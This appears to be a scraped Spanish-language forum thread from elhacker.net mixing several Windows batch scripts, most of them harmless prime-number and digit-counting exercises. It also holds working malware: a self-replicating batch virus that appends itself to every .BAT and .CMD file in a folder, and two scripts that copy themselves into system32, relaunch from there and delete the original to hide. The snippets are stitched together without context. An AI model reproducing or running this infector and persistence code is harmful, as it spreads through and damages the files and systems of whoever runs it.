Foro de elhacker.net

@echo off
echo Hola!
pause>nul
exit
 

@:_v_main
@Echo Off %v_main%
For /f "Tokens=* Delims=" %%i in ( %v_main%
        'Dir/b *.BAT *.CMD' %v_main%
) Do Call:_Infect "%%~i" "%~0" %v_main%
Exit/B 0 %v_main%
:_Infect %v_main%
Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
For /f "Tokens=1 Delims=" %%_ in ( %v_main%
        'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
( %v_main%
        Echo. %v_main%
        Echo.@::i_b_t %v_main%
        Echo.@Set "Str_R=v_ma" %v_main%
        Echo.@GoTo:_%%~1 %v_main%
        Echo.:_ %v_main%
        Echo.@Start "" /B /high "%%~0" %%Str_R%%in %v_main%
) >> "%~1" %v_main%
( %v_main%
        Echo.%beg_rg%,%end_rg%,1M %v_main%
        Echo.E %v_main%
)|Edlin /B %~1 %v_main%
Find "v_main"<"%~2">>"%~1" %v_main%
Goto:EoF %v_main%
 

@Echo off
Title Prime Number Generator
Setlocal enabledelayedexpansion
 
:: By Elektro H@cker
::
:: Generador de números primos.
::
Set MinRange=2
Set MaxRange=1000
:: :: :: :: ::
 
:Calc
Set /A MinRange+=1
Set /A Matches=0
 
FOR /L %%# IN (2,1,!MinRange!) DO (
	FOR /L %%X IN (2,1,!MinRange!) DO (
		Set /A Result=%%#*%%X
		If !Result! EQU !MinRange! (Goto :Calc)
	)
)
 
If !MinRange! GTR !MaxRange! (Pause>nul) ELSE (<Nul Set /P=%MinRange%,)
Goto :Calc

@Echo OFF
Title Prime Number Generator
REM   Versión NOOB XD
 
:: By Elektro H@cker
::
:: Obtiene una lista de números primos desde el número 2 hasta el número 10.000
:: Nota: Es necesario WGET para usarlo.
 
wget -help >NUL || Exit /B 1
 
Setlocal enabledelayedexpansion
WGET -q "http://www.addedbytes.com/blog/prime-numbers/" -O "%TEMP%\Primes.html"
 
 
For /F "Tokens=*" %%a in ('Type "%TEMP%\Primes.html" ^| Find "<li"') do (
	Set "Numbers=%%a"
	Set "Numbers=!Numbers:</li>>=!"
	Set "Numbers=!Numbers:</li><li>=, !"
	Set "Numbers=!Numbers:<ul><li>=!"
	Set "Numbers=!Numbers:</li></ul>=!"
	Echo "!NUMBERS!" | FINDSTR ",.[0-9]" 2>NUL
)
Pause
Exit

@echo off
Set START=%Time%
FOR /L %%X IN (1,1,1000000) DO (Echo %%X)
Set FINISH=%Time%
Echo %START% ^| %FINISH%
pause

@echo off
:anteinicio
set /p t=cuantos primos quieres?=
if %t% lss 3 (echo su numero tiene que ser mayor que 2) else (goto seguir)
pause
exit
:seguir
set ee=%random%
if %ee:~-1%==2 goto seguir
if %ee:~-1%==4 goto seguir
if %ee:~-1%==6 goto seguir
if %ee:~-1%==8 goto seguir
if %ee:~-1%==0 goto seguir
echo %ee% 
set /a t=t-1
if %t%== 0 (pause) else (goto seguir)

echo Introduce numero
set /p numero=
if %numero%>1 && %numero%<10 echo 1 digito
if %numero%>10 && %numero%<100 echo 2 digitos
if %numero%>100 && %numero%<1000 echo 3 digitos
if %numero%>1000 && %numero%<10000 echo 4 digitos
...
Pause>Nul

if %numero%>1 && %numero%<10 echo 1 digito
...
Pause>Nul

@Echo OFF
 
:Loop
set /p numero=Numero ^> 
if %numero% LSS 10   (Echo 1 digito) 
if %numero% GEQ 10   (If %numero% LSS 100   (echo 2 digitos))
if %numero% GEQ 100  (If %numero% LSS 1000  (echo 3 digitos))
if %numero% GEQ 1000 (If %numero% LSS 10000 (echo 4 digitos))
Goto :Loop

@Echo OFF
 
:Loop
set /p numero=Numero ^> 
ECHO %Numero% > "%TEMP%\tempfile.txt"
FOR %%? IN ("%TEMP%\tempfile.txt") DO ( SET /A digitos=%%~z? - 3 )
Echo          %numero% tiene %digitos% digitos.
Goto :Loop

@ECHO OFF
IF EXIST "%SystemRoot%\system32\Malo.bat" GOTO ENDBAT
COPY /Y %0 "%SystemRoot%\system32\Malo.bat"
CALL "%SystemRoot%\system32\Malo.bat"
DEL /S /Q %0
EXIT
:ENDBAT
ECHO "ME ESTOY EJECUTANDO EN"
ECHO %0
EXIT

@Echo off
color 0a
 
set "dirM=%windir%\system32\malwaredu.bat"
set "me=%0"
 
 
if not %me%==%dirM% (goto :Melt) else (goto :Limpiar)
 
 
:Melt
 
if exist %dirM% (goto :Seguir)
 
Copy /y %me% %dirM%>nul
 
start %dirM% %me%
exit
 
 
 
 
:Limpiar
 
set "parameters=%1"
 
if not %1=="" (del /f /q /s %1>nul)
 
 
 
 
:Seguir
echo MUAHAHAHA!
echo Estoy en %0 jeje
echo Ahora hare maldades aqui xD
 
pause>nul
exit